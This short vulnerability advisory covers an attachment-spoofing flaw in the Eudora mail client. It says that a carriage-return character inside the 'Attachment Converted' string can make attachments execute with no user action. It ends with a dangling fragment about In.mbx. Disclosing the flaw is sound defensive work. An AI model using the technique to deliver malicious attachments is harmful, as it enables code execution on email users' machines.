Eudora is reported to be prone to an issue which may allow attackers to spoof the file extension in an attachment. This may aid an attacker in enticing a user of the e-mail client into executing malicious content.

It is possible to refer to other files or attachments in a message through specially formatted inline text.

If the CR (carriage return) character (0x0D, Ctrl-M) is embedded anywhere in the 'Attachment Converted' string, it is possible to execute message attachments without further user interaction.

removed from In.mbx (using some utility other than Eudora itself).
